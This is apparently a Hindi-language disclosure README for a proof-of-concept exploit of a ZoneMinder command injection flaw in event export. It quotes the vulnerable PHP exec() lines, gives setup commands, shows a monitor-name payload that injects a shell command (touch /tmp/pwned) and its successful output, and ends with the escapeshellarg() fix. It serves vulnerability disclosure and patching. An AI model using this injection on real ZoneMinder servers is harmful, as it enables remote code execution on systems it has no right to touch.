
CVE-2026-76060 के लिए PoC, जो ZoneMinder में एक कमजोरी से RCE की ओर ले जाता है
ZoneMinder की इवेंट एक्सपोर्ट कार्यक्षमता (web/includes/download_functions.php) में OS कमांड इंजेक्शन भेद्यता के लिए प्रूफ ऑफ कॉन्सेप्ट।
मॉनिटर नामों को escapeshellarg() के बजाय मैनुअल सिंगल-कोट रैपिंग का उपयोग करके सीधे शेल कमांड में इंटरपोलेट किया जाता है। एक हमलावर जो मॉनिटर बना सकता है, वह मनमाने शेल कमांड इंजेक्ट कर सकता है जो www-data/जो भी प्रक्रिया के रूप में चलता है, तब निष्पादित होते हैं जब कोई भी उपयोगकर्ता इवेंट एक्सपोर्ट ट्रिगर करता है।
44c5c3c 4 अक्टूबर 2023 से — यहीं पर download_functions.php फ़ाइल पेश की गई थी। कमिट संदेश है "Introduce new download mode that concats event videos into 1 file per monitor." भेद्य कोड यहाँ मौजूद है, लेकिन पहले मॉनिटर बनाने के लिए एक व्यवस्थापक की आवश्यकता थी।2d49e93 2 जनवरी 2024 से — "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." यहीं पर चीजें थोड़ी बदल जाती हैं। अब केवल Monitors=Create वाला उपयोगकर्ता हमले के लिए मॉनिटर नाम सेट कर सकता है, और एक्सपोर्ट अनुमतियों वाला कोई भी उपयोगकर्ता इसे ट्रिगर कर सकता है।प्रभावित संस्करण: >= 1.37.48 (इसमें SQL माइग्रेशन परिवर्तन हैं) और <= 1.38.1 1.36.x शाखा प्रभावित नहीं है।
दो उपयोगकर्ता। दो विशेषाधिकार स्तर। एक शेल।
Monitors=Create या Monitors=Edit है यदि पहले से कोई मॉनिटर मौजूद है।इवेंट रिकॉर्ड को मैन्युअल रूप से बनाने की आवश्यकता नहीं है। ZoneMinder एक कैमरा सिस्टम है...यह कैमरा चलने पर स्वचालित रूप से इवेंट रिकॉर्ड बनाता है। लाइव डिप्लॉयमेंट में सेटअप चरण है: मॉनिटर बनाएं, चले जाएं।
अस्वच्छ मॉनिटर नाम दो अलग-अलग exec() कॉल तक पहुंचता है:
पंक्ति 126 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
पंक्ति 150 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
दोनों एक ही सावधानीपूर्वक तैयार किए गए मॉनिटर नाम से एक्सपोर्ट प्रारूप की परवाह किए बिना पहुंच योग्य हैं।
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# ZoneMinder के इनिशियलाइज़ेशन पूरा होने की प्रतीक्षा करें (~30 सेकंड)
uv run poc.py
init.sql डेटाबेस को प्रमाणीकरण सक्षम और दो उपयोगकर्ताओं के साथ बूटस्ट्रैप करता है:
medpriv मॉनिटर निर्माण अधिकारों के साथ (और समय के उद्देश्य से, इवेंट निर्माण अधिकार भी, लेकिन प्रोडक्शन में यह आवश्यक नहीं है)lowpriv केवल इवेंट एक्सपोर्ट एक्सेस के साथuv run poc.py पूरी श्रृंखला चलाता है:
medpriv API के माध्यम से प्रमाणित होता है और poc'; touch /tmp/pwned; echo ' नामक मॉनिटर बनाता हैmedpriv डेमो को तेज करने के लिए एक इवेंट रिकॉर्ड बनाता है (प्रोडक्शन में, ZoneMinder यह स्वचालित रूप से करता है)lowpriv प्रमाणित होता है और इवेंट एक्सपोर्ट ट्रिगर करता है/tmp/pwned जांचता है और परिणाम प्रिंट करता हैअपेक्षित आउटपुट:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
8.4 (उच्च):AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H
हम PR:L बनाम PR:R पर बहस कर सकते हैं, लेकिन किसी भी तरह से यह व्यापक रूप से उपयोग किए जाने वाले ओपन-सोर्स प्रोजेक्ट में उच्च-गंभीरता वाली रिमोट कोड निष्पादन भेद्यता है। हमला सतह काफी व्यापक है, और तथ्य यह है कि ट्रिगर को मॉनिटर नाम सेट करने वाले उपयोगकर्ता से अलग उपयोगकर्ता द्वारा सेट किया जा सकता है, शोषण क्षमता में एक दिलचस्प मोड़ जोड़ता है। यदि हम PR:L स्वीकार करते हैं, तो यह 9.0 (क्रिटिकल) बन जाता है।
किसी भी तरह से, न्यूनतम रूप से escapeshellarg() की कोई लागत नहीं है।
b3a7c05 में पैच किया गया[!NOTE] रिपोर्ट के 12 घंटे के भीतर ठीक किया गया। अनुरक्षक से कोई स्वीकृति नहीं कि यह एक सुरक्षा मुद्दा है। मैं असहमत हूं
दोनों इंजेक्शन बिंदुओं पर न्यूनतम रूप से escapeshellarg() लागू करें:
// पंक्ति 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// पंक्ति 150
$command .= ' '.escapeshellarg($mergedFileName);
generateFileList() में पंक्तियाँ 116 और 211 में समान पैटर्न है।
खोजकर्ता (@investigato)
पूर्ण लेख: scriptkittens.com